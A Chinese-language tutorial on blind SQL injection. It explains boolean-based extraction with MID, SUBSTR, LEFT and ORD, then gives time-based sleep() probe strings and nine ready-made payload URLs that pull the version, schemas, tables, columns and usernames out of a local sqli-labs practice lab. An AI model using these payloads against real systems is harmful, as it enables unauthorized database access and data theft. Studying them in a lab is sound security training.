sql注入之盲注

0x00 基于布尔盲注

截取字符串常用函数:
① MID(column_name,start[,length]) //截取字符串的一部分

参数 描述
column_name 必需。要提取字符的字段。
start 必需。规定开始位置(起始值是 1)。
length 可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。

例:

1
2
3
str = "asdf"
p = mid(str,2,1)
p = s

Sql用例:

(1)MID(DATABASE(),1,1)>’a’,查看数据库名第一位,MID(DATABASE(),2,1)查看数据库名第二位,依次查看各位字符。
(2)MID((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE T table_schema=0xxxxxxx LIMIT 0,1),1,1)>’a’此处column_name参数可以为sql语句,可自行构造sql语句进行注入。

② substr()函数

Substr()和substring()函数实现的功能是一样的,均为截取字符串。

string substring(string, start, length)

string substr(string, start, length)

参数描述同mid()函数,第一个参数为要处理的字符串,start为开始位置,length为截取的长度。

Sql用例:

(1) substr(DATABASE(),1,1)>’a’,查看数据库名第一位,substr(DATABASE(),2,1)查看数据库名第二位,依次查看各位字符。
(2) substr((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE T table_schema=0xxxxxxx LIMIT 0,1),1,1)>’a’此处string参数可以为sql语句,可自行构造sql语句进行注入。

③ Left()函数

Left()得到字符串左部指定个数的字符

Left ( string, n )        string为要截取的字符串,n为长度。

Sql用例:

(1) left(database(),1)>’a’,查看数据库名第一位,left(database(),2)>’ab’,查看数据库名前二位。

(2) 同样的string可以为自行构造的sql语句。

同时也要介绍ORD()函数,此函数为返回第一个字符的ASCII码,经常与上面的函数进行组合使用。

例如:

 ORD(MID(DATABASE(),1,1))>114 意为检测database()的第一位ASCII码是否大于114,也即是‘r’

0x01 基于时间盲注

常用的判断语句:

' and if(1=0,1, sleep(10)) --+    

" and if(1=0,1, sleep(10)) --+

) and if(1=0,1, sleep(10)) --+

') and if(1=0,1, sleep(10)) --+

") and if(1=0,1, sleep(10)) --+

1.爆数据库的版本长度

http://127.0.0.1:6868/sqli-labs-master/Less-5/?id=1'and If(length((version()))=6,sleep(10),1)–+

2.爆数据库版本的第一个字符

http://127.0.0.1:6868/sqli-labs-master/Less-5/?id=1'and If(ascii(substr(version(),1,1))=53,sleep(10),1)–+

3.爆第一个数据库的长度

http://127.0.0.1:6868/sqli-labs-master/Less-5/?id=1'and If(length((select schema_name from information_schema.schemata limit 0,1))=18,sleep(10),1)–+

4.爆第一个数据库的第一个字符

http://127.0.0.1:6868/sqli-labs-master/Less-5/?id=1'and If(ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))=105,sleep(10),1)–+
这里通过改变limit后的值来确定第几个数据库,第一个数据库的下标为0,依次往后推就是其他的数据库

5.爆security数据库里的第四个表的长度

http://127.0.0.1:6868/sqli-labs-master/Less-5/?id=1'and If(length((select table_name from information_schema.tables where table_schema=’security’ limit 3,1))=5,sleep(10),1)–+

6.爆security数据库里的第四个表的第一个字符
http://127.0.0.1:6868/sqli-labs-master/Less-5/?id=1'and If(ascii(substr((select table_name from information_schema.tables where table_schema=’security’ limit 3,1),1,1))=117,sleep(10),1)–+

7.爆security数据库里的users表的第二个字段长度

http://127.0.0.1:6868/sqli-labs-master/Less-5/?id=1'and If(length((select column_name from information_schema.columns where table_schema=’security’ and table_name=’users’ limit 1,1))=8,sleep(10),1)–+

8.爆security数据库里的users表的第二个字段的第一个字符

http://127.0.0.1:6868/sqli-labs-master/Less-5/?id=1'and If(ascii(substr((select column_name from information_schema.columns where table_schema=’security’ and table_name=’users’ limit 1,1),1,1))=117,sleep(10),1)–+

9.爆security数据库里的users表的第二个字段的第一个数据的长度

http://127.0.0.1:6868/sqli-labs-master/Less-5/?id=1'and If(length((select username from security.users limit 0,1))=4,sleep(10),1)–+